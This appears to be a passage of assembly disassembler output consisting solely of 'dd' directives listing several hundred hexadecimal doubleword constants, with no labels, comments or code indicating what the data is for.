		dd 40BF4B12h, 472D02FAh, 7B7D4014h, 0D72E616Fh,	2FD8E9E5h
		dd 5B3609B8h, 0B052C683h, 5768E919h, 995723E9h,	1264418Fh
		dd 637051D0h, 777801F7h
		dd 25E91FFAh, 882E8E14h, 5AD546E2h, 9AC5FA93h, 0EAF3A120h
		dd 0CF2843E1h, 0DFB7A24Eh, 7B0D6D2h, 88C1BEFEh,	6807A3E4h
		dd 69C74D28h, 989D29A6h, 30C9768Ch, 42906367h, 6D30D658h
		dd 3AC70E4Fh, 29465A10h, 7FCE00A8h, 3950DE18h, 6C16C8C6h
		dd 0CF0B6AC6h, 165DB33Fh, 0E3E3892Fh, 0C8ECD2F2h, 0ECF6E9C5h
		dd 0AB70338h, 0CADCE780h, 7E3BE1DFh, 79FB10BFh,	9C3075C7h
		dd 0F4886267h, 30400E59h, 5863E9E7h, 54CC58D8h,	3BD3599Dh
		dd 0E91398E3h, 2DD7B05Eh, 0A555860Bh, 5598522h,	515E0705h
		dd 36A068C0h, 89571E07h, 5551A7F1h, 104A2860h, 0A3E91974h
		dd 7C5A80CBh, 44572D78h, 39396D2Bh, 0E391208Ch,	0DE07E697h
		dd 68CFC8A3h, 96D6F704h, 81308387h, 579E5E6h, 0E94E40D8h
		dd 0BFC9D05Fh, 9001367Bh, 3FC78170h, 0B0CB9F5Dh, 4C0F40F7h
		dd 0EF00B97Fh, 0A3D7233Eh, 5F09FB29h, 235BD931h, 6A3A1D9Ch
		dd 821C86Dh, 5902A8B0h,	0A260E468h, 0A418995h, 1D0C2484h
		dd 80072069h, 222C70EAh, 5B64EDA2h, 0CBFE81D2h,	60ABE380h
		dd 1DBA428Eh, 10E10D90h, 2587F729h, 66DA5FFEh, 892E3001h
		dd 0A3FAE917h, 492E878h, 55FE42h, 0A2600FBFh, 0D272B020h
		dd 0CC12A19Dh, 442D19F4h, 18094035h, 0E200D33h,	6464F909h
		dd 17188754h, 1E0C7565h, 0FFB23D70h, 0E34E9FFCh, 9D955C4Eh
		dd 17ABEDB0h, 0C76D6C35h, 222C384Ch, 3E1C775Ah,	0EF29F39Ah
		dd 272B3235h, 0E6E656A8h, 3C245493h, 0BF665502h, 0C6446976h
		dd 7C5B0842h, 23B3C273h, 9EC02BDCh, 84703F3Eh, 0CA46CF8h
		dd 6B380880h, 0E9761D05h, 5DE5FF86h, 1984D02Fh,	7258B266h
		dd 0C5E87B8Ah, 2C3384Ch, 31B4AC8Dh, 0B0C5852h, 3B7362C4h
		dd 55AB282h, 5990915Fh,	65CD56C6h, 4C9F5FB4h, 0C070A18Ah
		dd 9303EF3Eh, 0E7E637CCh, 685EDC60h, 519C70C4h,	51E95640h
		dd 391297FBh, 34A2C414h, 2241CA30h, 821F762Fh, 9B59187h
		dd 855C1140h, 42004197h, 27B89181h, 6080E78Eh, 0F034D23h
		dd 0E6E96F90h, 8C205AB4h, 5B27D8BDh, 0D7681005h, 0E54E971Dh
		dd 5842AEA1h, 27BE8C82h, 0FC494526h, 0F6096B75h, 62C546FCh
		dd 0E1D9C8h, 52685556h,	5D69E374h, 0F4EDECCh, 0C9EE5F89h
		dd 0E8B3F53h, 20AC8676h, 1075BB04h, 0DAC03F2Dh,	0C0F5EFAh
		dd 50EBD157h, 0D8F0B170h, 2A1264Ah, 9C39489h, 2C667331h
		dd 0C7E9C481h, 4E580AFCh, 0AE418BDEh, 0AB0F1EA2h, 0F8255DC4h
		dd 2DE4EFEh, 68D78853h,	0B9D90EBBh, 3A81CE92h, 0CE40555Bh
		dd 491473h, 32DE0D3Fh, 7C2D03D6h, 0E546CF13h, 0E14FD6E8h
		dd 27F7935h, 10A639F5h,	0C91160B3h, 17C84D68h, 8323E304h
		dd 0EEDEC724h, 0C680854h, 0D85D1F14h, 693912CFh, 84C0204Fh
		dd 25654598h, 0D368FD64h, 0E79D09DAh, 78FF865Fh, 7E25CC2Fh
		dd 78631AD6h, 82E005Ah,	8145331Dh, 3F6EBE5h, 0F5E91409h
		dd 55CFA0F0h, 17F84BDh,	33050F88h, 2E693D19h, 702AA84h
		dd 56AA3CE9h, 0F6CF5189h, 54E6238Eh, 0C60EA906h, 0B3E8C96Dh
		dd 50306A8h, 10EA703Bh,	422DD0C1h, 39D85A07h, 0F1E8E919h
		dd 53B7814Ah, 164CA00Dh, 514D36C1h, 1E50050Ch, 19AD39C9h
		dd 1B15BB81h, 8F8A7092h, 6617759Eh, 57D222A1h, 0AFCC9D2Fh
		dd 193FED59h, 5936257Ah, 1E72047h, 0D11C56BBh, 80D345E9h
		dd 4F9BD2Ch, 334D186Dh,	903CD5F7h, 0E9C1BFF0h, 22C5C44Ah
		dd 0C1A43FF8h, 65A2B32h, 58590FBBh, 36864380h, 0C205379Fh
		dd 17EF1C49h, 2B026692h, 15F694E2h, 2119F068h, 7963BB1Ch
		dd 0DF89FB00h, 5ACF815Bh, 0C9914A2Eh, 9FAEEF01h, 0AD31D06Bh
		dd 87E536Fh, 8601E6B6h,	5AF788FEh, 0C0DA78E8h, 4FFCEB8Dh
		dd 439A4010h, 544021FCh, 0AA85EC58h, 53E17ECCh,	295747F2h
		dd 0C18A8064h, 5FFD0968h, 2FF820Bh, 0D4469E5Fh,	0BB21DFDBh
		dd 0E9EA808h, 9E65059h,	0B3263C16h, 0D910B4C0h,	929B2C1Ch
		dd 0B03EBCABh, 0E565683Bh, 0B3530A50h, 56885C90h, 28C85A70h
		dd 0B7762C54h, 0E876F570h, 0B27952E8h, 0D0E0A8F6h, 0B4DBE913h
		dd 4F014090h, 0A660E5CAh, 0BB5804BCh, 0AC43E931h, 0B8B007B2h
		dd 68116634h, 0C82F0A4Bh, 303EEDAEh, 925BBFF8h,	4D53F650h
		dd 0C3FCAF8h, 0C9E9E805h, 3330AB3Eh, 0FF717325h, 0F7CC162h
		dd 0E957320Fh, 5F394BB6h, 5100FBF0h, 3D163AB9h,	5ACB0175h
		dd 40DF559h, 9807BA0Bh,	58942513h, 0F72D9FA6h, 62F6C66Ah
		dd 3FA9CD01h, 1B3047EAh, 786809F5h, 80205194h, 6AC797C5h
		dd 37E91E08h, 0A024EEh,	0FC61B5BDh, 4AD34572h, 58EFAFF0h
		dd 4860EC67h, 44E67C3Dh, 0E35BE798h, 0BD3C2028h, 60B847A9h
		dd 31B75EF7h, 0D72F6A81h, 0B6396313h, 75C44C5Bh, 0C21E8Ch
		dd 0DFBCD82Eh, 685AD701h, 793D5B27h, 2F80BCDBh,	5E429D03h
		dd 0E419E681h, 0EEACDD07h, 5AF49CD0h, 0AA6FC4DFh, 0CEC7141h
		dd 0EE844873h, 0C3FB0E0Dh, 0EE93F533h, 0D6F7080Fh, 13011687h
		dd 0A6A7E906h, 57688E89h, 30CA2E42h, 99CEB655h,	0E7D10281h
		dd 9789DFF7h, 0E39B3DF8h, 17245726h, 0B7460769h, 9B8C442Bh
		dd 3BE942D7h, 32336D69h, 0E2F71254h, 7F944FACh,	0F1B37101h
		dd 215AD328h, 0C09A289Dh, 0D1F6C9FEh, 3E124C0h,	80020FCCh
		dd 0E40CDD4Dh, 8413B652h, 0B3EDCEFEh, 30AE61Eh,	45B151C6h
		dd 0E993F1C0h, 9836CD35h, 5072D001h, 0E5C9DC88h, 0EDE09768h
		dd 0EE26307Bh, 0FBF5D59h, 0D772E945h, 0B0D1A7DCh, 76F709B9h
		dd 0EC848256h, 0E90B88C7h, 4F939E59h, 365AF98Eh, 90800DF2h
		dd 0B980AD43h, 28D612FAh, 736EA89Dh, 0D809B592h, 5217FCE9h
		dd 2440781Eh, 92449C44h, 5A6692C5h, 30080C41h, 53BEBCE6h
		dd 6882F092h, 3E48E34Ah, 8185391h, 9C1EB5FDh, 200C1497h
		dd 0F67610A5h, 0CCD284BDh, 61F13CC2h, 29C6F5ECh, 14B1E25h
		dd 0A3682696h, 0C3393876h, 0AE633F65h, 1217B02Bh, 867BA64Fh
		dd 0F827AEF4h, 9FF74CC0h, 29121DE6h, 1AB559C8h,	6E257921h
		dd 0C0A9816Bh, 0EBC1019Bh, 68CC7071h, 9643B8FAh, 77B2601h
		dd 8F44670Bh, 1213E7E0h, 63B01605h, 0EA75B50Ah,	0B607D460h
		dd 5669E673h, 2E9688B1h, 2F74C627h, 0D9A158C7h,	3C154868h
		dd 0E954823Eh, 65C74A9Fh, 0CEEDAD1Ch, 0C2FBA925h, 0D28A6147h
		dd 4ED52024h, 62B6A45Ah, 9F25145Eh, 39CDB7E8h, 9228A29Dh
		dd 2962ECF6h, 0D205D817h, 0C6B2ACC3h, 0AFED9FE2h, 58D3C304h
		dd 1D02652h, 0B63B3568h, 6974C9BAh, 432F6100h, 1046DEF7h
		dd 5DA94E9h, 0D01CB050h, 0ACBB3282h, 26C43082h,	854B65Eh
		dd 0A888D5EBh, 4B666B11h, 515DE925h, 8859136Dh,	0EF4DBFA6h
		dd 31346629h, 880DD106h, 2886401h, 299ABAE9h, 2E5751D8h
		dd 848A051Ah, 5C82F236h, 32107F98h, 1A3D7C22h, 411D9765h
		dd 0A54161CAh, 923F5D6Bh, 24E1C0EAh, 28030448h,	0C058C330h
		dd 2E7C27EBh, 0E97CFEC2h, 899A4DDAh, 49EE302Ch,	6BD26812h
		dd 975827CCh, 965E8D89h, 37A46459h, 810300D5h, 10C82F1h
		dd 0BA520B01h, 264B162Eh, 0F6289CF9h, 81DAF700h, 0E45D64E2h
		dd 424A3918h, 3F29DF10h, 0F21D2A5Bh, 8480F4Bh, 0A0E9D622h
		dd 0D8527849h, 0BB92E55Fh, 4003EE2Dh, 82B166E6h, 2CEA20C1h
		dd 3D292084h, 9B068159h, 9C1E994Ah, 24CE005h, 4FAB89A8h
		dd 0D014038Ah, 0E4C43012h, 0DD20EB72h, 3C31E3Eh, 363BAE3Ah
		dd 507F111Bh, 0E926B862h, 75E6EAABh, 6035E382h,	29590FFEh
		dd 3F78F021h, 10011F99h
		dd 34E9F821h, 0BF2D1E0Ah, 20EA4724h, 0F52892BCh, 0F2E93C0Ah
		dd 4EB0DB5Eh, 7CB86FF6h, 0A4615B0Eh, 1D90E52Bh,	235F312Ch
		dd 1516AF6Ah, 0C0961DFDh, 814304E8h, 0F3E2E0C3h, 0E025B223h
		dd 2F17C23Ah, 0E8076274h, 0D216FCD1h, 1841904h,	52BDD089h
		dd 2059090h, 0D76EB603h, 13082AD4h, 7F77E358h, 45B5C1B0h
		dd 972B2A3Eh, 0AC5E4AB2h, 6BDBE950h, 7C7C0A4Dh,	302F3BC0h
		dd 51059D45h, 0E90804C3h, 48A6ECCAh, 58F73CE4h,	0D4D51350h
		dd 0F8F24440h, 0C50434BCh, 0C7DD8999h, 5E3C2872h, 0BF49CACEh
		dd 0CA6DF64Bh, 8C92592Dh, 3B682980h, 3954B325h,	122D61D4h
		dd 85E8F14h, 68013224h,	13126B4Bh, 0E2CE1230h, 6D29090Eh
		dd 7B62AFE9h, 4267927Dh, 5B47EE3h, 8366E828h, 0D7DAF0C0h
		dd 5E0918D0h, 277015Ah,	0C59C56DCh, 38B9A01Ah, 0A613FBBEh
		dd 91ABC61h, 80180F7Dh,	3C46D350h, 8A83E775h, 6AAE2EDDh
		dd 6E01EEE9h, 3D2D020h,	315F09A4h, 3B8958C6h, 0CC0DAF2h
		dd 0DD70FDDh, 27F24801h, 0F5E90840h, 92B162Bh, 0EDDEC78Ah
		dd 25917869h, 0A8125D46h, 0D7DCC162h, 83B25C12h, 0CCED19C4h
		dd 7BE9C8CAh, 39548705h, 68092FB3h, 0A6FE6EB3h,	0A3EB1C2h
		dd 0AECA0813h, 5DA6E825h, 0AA9A862Bh, 9A18FC08h, 97E98445h
		dd 0ED8AD14Bh, 0B59AE305h, 0C207E552h, 2A97A89Fh, 11927C6h
		dd 5FF80158h, 0CC575551h, 49E24268h, 0AC594826h, 760B562Ch
		dd 49B4D4A1h, 14409FEh,	9777DA18h, 2F03ACB1h, 0DA7B9F57h
		dd 0BD31C434h, 675C198Bh, 0B51AA450h, 531CB56Eh, 7C0BC568h
		dd 81E03012h, 2F9B09F3h, 58074BBBh, 7959E21Dh, 5023EE40h
		dd 0A04AB522h, 5C295BA2h, 243E24EAh, 9883B05Ch,	7A120311h
		dd 13DC41B5h, 0B7ED7683h, 5FCA391Ah, 0E9141F4Ch, 1676D8CFh
		dd 0D8493A0Dh, 0B44CE017h, 5E2BEE38h, 0A83FA4E8h, 50404C41h
		dd 3A7A6Bh, 9E6353Eh, 68E97CBBh, 82D6464Fh, 92514E04h
		dd 2B57F6EFh, 314665B2h, 0C9FA8822h, 0E52260D4h, 0F5D12960h
		dd 7BA76BFCh, 56D22F67h, 48F22566h, 0C8133A67h,	0F1A84B74h
		dd 62300051h, 9627BAD0h, 0FE3040B2h, 0D761F6C7h, 11F78008h
		dd 0D393EFCCh, 398C0414h, 0F08900DEh, 16F7405Eh, 0B0E8C1D0h
		dd 171E0958h, 0D7C018F6h, 9CCF8147h, 0EC53FE6Ah, 0C22400C7h
		dd 72DEFBAh, 84A947Ah, 70BC6C4h, 8DB5D15Fh, 0AC6BFA26h
		dd 0A1472FEh, 0C67885CBh, 290B66B6h, 218559CBh,	0DED0BCB1h
		dd 53281950h, 57800AC9h, 88E512Ch, 9F3B3FF7h, 0A67CD4B1h
		dd 41D6D93h, 987CC19Ch,	430C58F1h, 59C83988h, 0E91634CCh
		dd 52F2F03Dh, 48D5B238h, 508C4943h, 0E91287CCh,	0FE711F7Eh
		dd 996E6F09h, 0DFA3B52Fh, 85683930h, 28E7C43Ch,	0D7D10EB4h
		dd 6763001h, 833A545Fh,	50D7498Ah, 0AFB4FEABh, 1F34215Ch
		dd 7564FCE9h, 655E3440h, 66CCF6B7h, 26EF610Dh, 99231A20h
		dd 7B89E939h, 33148E0h,	0DF4A5B78h, 433DA05h, 9D584A98h
		dd 970EAD19h, 77A05267h, 4639516Eh, 4A15CAF8h, 56F7B09Bh
		dd 5E170E99h, 55C68F7h,	0F2039B16h, 3B768058h, 355366DDh
		dd 0F10D72BBh, 0FB6484A2h, 46C1686Ah, 0BB001045h, 2B004499h
		dd 58C3315Ch, 9806E3C1h, 57F53A0Eh, 1C7B61A6h, 3BD9107h
		dd 0DD3629B8h, 3E0E873h, 386C9056h, 6C8950DAh, 4ED880E9h
		dd 20C883B7h, 68BED2F4h, 7814D12h, 6F35DFCDh, 0A2ED6045h
		dd 745EA00Ch, 0CC3EA8A1h, 0C9493399h, 8DF54FC6h, 323F6161h
		dd 83FA6670h, 9D94BF20h, 98256614h, 164BF9ADh, 371E215Ch
		dd 22B12911h, 0C8045E46h, 6295229Dh, 50DD5493h,	2B5F9E68h
		dd 0B640FBA3h, 760313DBh, 1830B0Dh, 0B4B2398h, 0C11BB01Dh
		dd 851E0598h, 4C572068h, 8237F80Ch, 16191852h, 0C72D7BEFh
		dd 63783BB7h, 0A789736Bh, 0AA25141h, 0A52A594Dh, 0D04C2C6Ch
		dd 0D2A34F95h, 2D1AF940h, 0E3014925h, 41B7099Bh, 520AE2EAh
		dd 10C05814h, 239FFA1Eh, 0A15A94A8h, 0EBE31E7h,	56F858F0h
		dd 48CDB34Eh, 274A241Bh, 0C7292707h, 1DE043D4h,	2479B828h
		dd 668DCAC5h, 0DC00631h, 68C80F5Ch, 0C1435319h,	0E494E90Bh
		dd 949B3F9h, 2CA84530h,	0AD6845B7h, 4FC20321h, 0DA03B96Eh
		dd 98085810h, 4C12DB9h,	5BA040E6h, 815026A9h, 0AD6BF7CCh
		dd 0A2B8E10Dh, 48581334h, 74508A4Bh, 666304BEh,	0FF462DD3h
		dd 0F027E440h, 901306Fh, 0C1FEE9F3h, 0A27FFE92h, 920CCE76h
		dd 0F7E7B859h, 0E95309F1h, 26D6E5B9h, 0B9A9D096h, 65C80C7Eh
		dd 260C32E2h, 2BFC2504h, 0B2C2CD89h, 0B4A16C41h, 10C8266Bh
		dd 6A2C1FBDh, 0B0505981h, 0F6D004D5h, 0C0FE3BD0h, 0FF841C3Fh
		dd 0F8F892E9h, 1478C498h, 0D0E06D8Dh, 647DBC76h, 1A1CFACFh
		dd 0EDC07483h, 39F5B008h, 82C35AE9h, 0D9545BC8h, 0A7DC05CBh
		dd 4240DB52h, 0BEFCD5CCh, 37EA4831h, 0D594D2Dh,	6B41988h
		dd 30EDD15Bh, 0D937E70Ch, 2E00C5Fh, 0E97A7C22h,	2577ECC0h
		dd 0E6004528h, 59190748h, 86E0A009h, 895E803Ah,	84397E94h
		dd 35D5FBFh, 84090E9h, 8087BC5Bh, 173E7030h, 0C69F7401h
		dd 570C823Dh, 9092FA84h, 7721C635h, 6611682Fh, 9EC79704h
		dd 2B70F89h, 1221C77h, 55BA77E9h, 694ECBFh, 1D3C361Fh
		dd 6AC96B3h, 269D62E9h,	528D13A1h, 51D031B3h, 0E758192Dh
		dd 0E90CB178h, 41D2AD8h, 0FEB92D5Ah, 0A384E9E4h, 85B100A9h
		dd 0B8DB353h, 2031EB80h, 0E1C01C01h, 686D2106h,	7A2260BEh
		dd 330CE380h, 4D2CD3F6h, 989AF3C1h, 0BA129506h,	0E9D90B30h
		dd 0FC6497E4h, 9B4F21B0h, 0E25EC5F6h, 8B8388A0h, 0EE50A5E9h
		dd 0CD2CAC1Eh, 0D12809CBh, 0E5B3639Dh, 776F9224h, 0DB83812h
		dd 0C9F3918Bh, 0C152DE16h, 0CD4AD2ACh, 0A01FF8BAh, 78C0ADD7h
		dd 5B6E09EFh, 6138A169h, 5D0801D0h, 0B8D42B29h,	7668BE2Ch
		dd 63C69F5Bh, 0E7331227h, 4003284Ch, 0FA4C28C1h, 3C8384AEh
		dd 0A341EE99h, 289ACD9Fh, 9BFFBC68h, 61E1302h, 49A190D2h
		dd 41173247h, 6000D789h, 2D3A24E7h, 0B0F77960h,	21172021h
		dd 91759895h, 0A00699ECh, 0BF32F854h, 5644F909h, 0B8CB2BF7h
		dd 4AD5E913h, 39E4FF5h,	195F358Eh, 2A2EAAE1h, 98B9B793h
		dd 0E7FE64C2h, 82EEF260h, 81704EE2h, 0E6346B00h, 27D8B80Ch
		dd 0F0394AC5h, 0A85AE9B3h, 0D0A18485h, 51A4972Ch, 2513BB51h
		dd 20EA3CAh, 0B7645DBDh, 0C3D9C010h, 69E72C1Dh,	183500C4h
		dd 0D3F75805h, 0D98BA7A2h, 0A94C5A52h, 404C8BCCh, 58D14A4Ch
		dd 150335EAh, 29685F7Ah, 4A065ACBh, 373460Ch, 0B96090Ch
		dd 917E3689h, 8020521Dh, 3E088B8Eh, 0F8AE23B4h,	0B5C2255Fh
		dd 24478ECh, 0ACE91857h, 904A911Ch, 938B84D6h, 0C554F25Bh
		dd 0ADBD05E8h, 0DC7B3205h, 5122A05Ch, 6A3314C1h, 0E2E875A6h
		dd 6CE92A05h, 6568189Ah, 0C0847516h, 3FF12980h,	70165B5Eh
		dd 5AD8D57h, 28830056h,	15A9F1Ah, 0E951F978h, 3867D508h
		dd 0BE4950B2h, 4E326F12h, 0F707CEFDh, 39F6C624h, 52ADB8F6h
		dd 556CB7E9h, 10B3B20h,	7304072Ch, 3E2D9868h, 0FCA20B8Ch
		dd 0F8282D11h, 1B7A5E3h, 0CF0FE9C8h, 0D9EA7F05h, 8BA0BB1Fh
		dd 0CD5B2F7Bh, 8204F79h, 0F66B7B9Ch, 0DE8C0902h, 5B79FCC4h
		dd 42B5EC5Ah, 0C5E60760h, 911FBB0h, 0ADFAEFD9h,	0EA2621E8h
		dd 0EB09D913h, 813CD4CCh, 1CEF6B77h, 0A02FCF29h, 0CED8A4E0h
		dd 2D0130BCh, 75444A28h, 0CB097A5Bh, 6EA62BADh,	0E8E69723h
		dd 22E618C0h, 68017658h
		dd 408F2EAh, 0BC26DBE9h, 0FCECA6F5h, 54B34EA1h,	0C9A5FE6h
		dd 3E526B92h, 97279920h, 1D6C5290h, 77232A3Fh, 51659E92h
		dd 0BC009494h, 482CB905h, 31341D5Dh, 7A1739E9h,	0B11BA925h
		dd 0A22A3C87h, 0ED81C020h, 1EBC4518h, 39C5017Bh, 54690851h
		dd 0B4AFD58h, 0A5DA5F57h, 43C413F4h, 43C0CAFEh,	73E2C01Dh
		dd 6EA0507h, 0B72B753h,	6351EDC4h, 0A0B3C4AFh, 2FD80798h
		dd 4F62EA10h, 47DC4542h, 47AE6044h, 0E65BD829h,	7B247944h
		dd 43403DE1h, 25B34AABh, 2E94D629h, 7F2DBB04h, 45870F70h
		dd 2C8C1EF1h, 5D4E3D8h,	0E9758522h, 101F83Ch, 0B102C4BEh
		dd 0CB6E4E66h, 30731339h, 68C28AE8h, 11A03986h,	2A48E954h
		dd 7CB025D3h, 5C8E601Bh, 0E3884BB4h, 5207587Dh,	0D30810B2h
		dd 291596Ah, 0AB03B05Eh, 91695D4h, 774F7084h, 50BFD485h
		dd 225D2C2h, 0F62F3ECCh, 56D3A5E1h, 60A37DFFh, 0D641A5BDh
		dd 0C4CC352Fh, 0BC9701CEh, 2A073B9Eh, 43EFA14h,	64EA35F4h
		dd 46F8DDC2h, 9022B0DDh, 5EC97D0Dh, 0E3128507h,	75DC7BA8h
		dd 5885EA27h, 980F983Bh, 0EDCC44B5h, 0C125DE2h,	6A46011Ah
		dd 12C34CCDh, 0C4585FF9h, 6C01EB5Bh, 7B8F75DAh,	0B90A63F2h
		dd 0F0709865h, 5EB49AE2h, 0B80AD4BEh, 0E6277D47h, 878869E5h
		dd 7B8DC69Bh, 0E34F01E0h, 7D2D2D7Bh, 0FDA8203Ah, 0D0402473h
		dd 290662FEh, 0A0E889C5h, 0F5C3CA2Eh, 0F7CBD19Dh, 0B52622AAh
		dd 252F60AEh, 2C12C7F6h, 4F803E8h, 0C16866A2h, 795F5E68h
		dd 0E98200B6h, 1EF52751h, 9D1A859Ah, 83CA483h, 102A1ADh
		dd 0FE2D5EF0h, 6497BE20h, 76AA4B34h, 650595FBh,	36B12F21h
		dd 0F973842Eh, 8CB58660h, 0D7092416h, 839A2CC2h, 0F968D830h
		dd 0FA4B58DDh, 8880A5FCh, 0E020E5F3h, 0E8D0075Ah, 3E08E0C0h
		dd 5F70D6B4h, 1C94A4F2h, 59669D1Ch, 48B4D396h, 0C107B528h
		dd 946867F7h, 0FF9CAB36h, 5697C06Ah, 0AC5F32BEh, 31D3158h
		dd 49ED03BDh, 5508B0C1h, 0D98E2CE9h, 77298AC5h,	21549357h
		dd 76CA1CC3h, 4EBE48CDh, 88398410h, 0B2688131h,	0E9170374h
		dd 0C755349Fh, 0E2204700h, 1F62AD8h, 0B9FDEF6Fh, 0AD0B166Fh
		dd 75C8D610h, 2608429h,	0CF81585Fh, 922E133Bh, 0D5E7072Dh
		dd 65898943h, 5D2C8F80h, 0E9F801EFh, 0DBC4C65Ah, 0A04E9BA3h
		dd 86940C19h, 7FF0AC17h, 0F0282070h, 50DA20E1h,	223A5690h
		dd 6834ADE9h, 9F53C568h, 66ABC2C0h, 3102C913h, 0D9968AF8h
		dd 0AA110499h, 0A0E84B28h, 0B51D41A1h, 0FF57D0A1h, 94D03B0Ch
		dd 764D2664h, 0FDC60599h, 8269721Ch, 0A4615200h, 3DC3043Ch
		dd 350D7BECh, 6CE8B74h,	69083BBDh, 1079C648h, 5C17D880h
		dd 765CFDD2h, 29F831D2h, 7DD25133h, 402961F9h, 0B27332A3h
		dd 44356958h, 0C91B80FDh, 83C568B4h, 8AB03928h,	26807AD0h
		dd 243367C1h, 646CAF5Bh, 0DB3F1A90h, 8030BD56h,	7C2D07E0h
		dd 79712B6Dh, 62584B01h, 0DDA5B39Fh, 62788154h,	575A01DEh
		dd 60F8246h, 673BCD81h,	0ED013EB9h, 79D90A80h, 76C4E929h
		dd 0EABBC2FFh, 0E8815B90h, 0E4D5F6F0h, 207CA5C5h, 0F227597Fh
		dd 9B0E637Dh, 0DD20F7C3h, 91737268h, 0C5888F85h, 0E3674D45h
		dd 7EC841EAh, 0B1432CD3h, 242E8C82h, 0AE058454h, 9FA3E635h
		dd 7CBB5309h, 3A3161DCh, 1E6CD893h, 2EE163DBh, 0A6EC55BBh
		dd 9DB47FEFh, 0BB9FD32Fh, 80ED95CBh, 35CE6AF4h,	701594Ch
		dd 0CC27870h, 0DF441FB2h, 26813416h, 8A4A1189h,	9AC1366Ah
		dd 0D15F6090h, 0DC5D2582h, 9EE978EEh, 5A4DC8B2h, 0C73B7371h
		dd 51FE2758h, 74C54F05h, 3A6C8287h, 6CC683A9h, 219CE7F6h
		dd 1D446417h, 0E0E989FEh, 0D90EC2A4h, 0B1027C52h, 89B061A7h
		dd 0C18E40EBh, 6866804Ah, 92562C3Ch, 95E8C6E4h,	2DC714F2h
		dd 0F063E90Bh, 0FD32D71Dh, 0DC0C6969h, 0AF5292FDh, 8B6FA669h
		dd 18E917E2h, 32688745h, 313D37AEh, 0F05352E3h,	8C093F66h
		dd 0C16FE912h, 7EA8090Eh, 514C0025h, 0D3876D0Ah, 8C5D2F7h
		dd 62D501E9h, 13F18082h, 3974FA16h, 0A4D288A9h,	0AFA84F95h
		dd 0E0F7F180h, 0AB4AE52h, 50C56295h, 390EF628h,	0A2811FE5h
		dd 40B5125Fh, 122FC608h, 0C006EA50h, 0B99EE54h,	21390E07h
		dd 85BB5EF1h, 0BFB9807h, 0CA5C5AAAh, 9513C3h, 310AB96Ch
		dd 0C9813D42h, 2C443003h, 9555E97Ch, 0BE06A5ADh, 8C74A31Dh
		dd 0F053CD09h, 11BC0A39h, 9A0D350Bh, 0D03362EFh, 0A0594A60h
		dd 334F90DEh, 0A9B5B8D1h, 60ED6801h, 6C928319h,	0DE3A2209h
		dd 0F5FC4320h, 5FB50815h, 87E9D4C0h, 41808248h,	70C56DAh
		dd 9BB54171h, 5F53FFCh,	0DE7FE94Ah, 7644D9CBh, 0CFEA5B53h
		dd 4C252AD4h, 16CD4A81h, 115D422h, 452806A0h, 0F18C3070h
		dd 463CD582h, 0CAC2E915h, 0D001872Eh, 0B19A95D7h, 8D105E49h
		dd 2CC05455h, 2D5F0040h, 312458Ch, 6AE82D68h, 0A918E0C6h
		dd 0C1709D28h, 0E763152h, 3B03E1AAh, 65861510h,	9107060Ah
		dd 0AA22A0CCh, 1925529h, 5E3D1655h, 0B23412A2h,	70708B63h
		dd 0A7555EFCh, 0F3928610h, 0B51EDD9h, 5402E657h, 81FAA7C1h
		dd 7F9BB925h, 24601394h, 0A1015A5Dh, 10E32AB9h,	0E9A020D2h
		dd 65BF4E96h, 0FF560B77h, 1858E5B8h, 0B60B6BB9h, 756EE8D7h
		dd 4B513D56h, 224F6796h, 0FAA9AB2Bh, 17E089DCh,	0B851425Eh
		dd 0E24D5E8Dh, 355C01AAh, 2BFB3DFEh, 0BC82122Bh, 39C197ACh
		dd 0AD02D46Ch, 9758DAFCh, 3BB52D70h, 0E02D9CC1h, 0ABB09B07h
		dd 7A205F0h, 1389217Ch,	6988519Ch, 0C9CF165Fh, 67805186h
		dd 23BD6096h, 8C05B4Fh,	973AE6DCh, 9DE9E6E0h, 8CA4A858h
		dd 0B873F806h, 0B4485EA4h, 0AA406A6Fh, 41689D5Ch, 0E6B7AD52h
		dd 0D2E020CAh, 11F330F9h, 8641934Ah, 616779E3h,	7B1735h
		dd 24CAC6AFh, 10D23EE2h, 43815E5Eh, 293A2CC2h, 56A0105h
		dd 6977976Bh, 20084139h, 9BB6344Dh, 0A0B77227h,	5C787CAFh
		dd 0AA135A7Eh, 50C88B3h, 5B07A709h, 0BD96224h, 77290207h
		dd 69E6E4A3h, 1285B9FCh, 5FEE909Ah, 6814FDBBh, 729F42CDh
		dd 2A2D327Ah, 82B0829h,	7A8CE90Bh, 0C2E70487h, 0EF5A3328h
		dd 475FF443h, 7D04E2C1h, 9F6922A0h, 13F85AEh, 0E595D0FBh
		dd 15333013h, 10946F02h, 2CAF61D8h, 0F3A8122Eh,	0B7357B4Ah
		dd 9CF26C96h, 8625899Fh, 685DB421h, 2721BEC6h, 0F5476821h
		dd 0F1E2719h, 0B2D7CDEAh, 0B80BA2E0h, 0C4B503F5h, 2F9517B9h
		dd 39892E35h, 5DE38100h, 8F3050DAh, 0B24A0941h,	5702D17Ch
		dd 0DA09CB61h, 0C2093E5Eh, 1033E2AEh, 0C10F6237h, 0C261F9EBh
		dd 6803CF7Ch, 0BAA8B513h, 882DF4A6h, 9FFE64F4h,	215C40Bh
		dd 27498A13h, 0D42B5588h, 0DB276774h, 70DC6BE6h, 3CCB1144h
		dd 0F82ADE12h, 0EB83F001h, 4B49B702h, 2DFC7CB9h, 0B5CAC65Bh
		dd 57F3FF80h, 22E02668h, 315F4212h, 27C3FF8h, 6FBDFFDDh
		dd 44E2DF01h, 0C3604657h, 2CEAE912h, 0F3CF104Eh, 0C9CE90Bh
		dd 14221D4Ch, 5E344044h, 1E1CC95h, 35747CC6h, 71CE0171h
		dd 59080231h, 859E1A5Fh, 0BA9904FBh, 0AA64D4E1h, 29CD7F01h
		dd 893E1C69h, 0A3FE55A3h, 0DC5756C2h, 0D2C0275Fh, 7E590E68h
		dd 1FF08179h, 0F261080Dh, 8342C33Ah, 5DE001A2h,	40261BC5h
		dd 1D3F790Eh, 5B84CFFBh, 9882D929h, 0B3AF5199h,	0BDE4544Eh
		dd 63F34B46h, 0BABAE9C5h, 2CAECD12h, 6182D3A3h,	4468F22Ch
		dd 852E645Bh, 2F16FB9Fh, 5D996FA2h, 0FC8404C1h,	2050A523h
		dd 0AD2FF396h, 7879453h
		dd 7C336851h, 5EF02955h, 0E1810501h, 361D06F5h,	137A2770h
		dd 24BF842h, 0EBD043A3h, 0C8895C40h, 59428595h,	4D514EE8h
		dd 31104D6Ch, 0C72926CEh, 2A5044AFh, 1692AFABh,	13473FC0h
		dd 0AD8BF00Eh, 37823E17h, 9A9AA009h, 8AC640B8h,	0C7C50BDFh
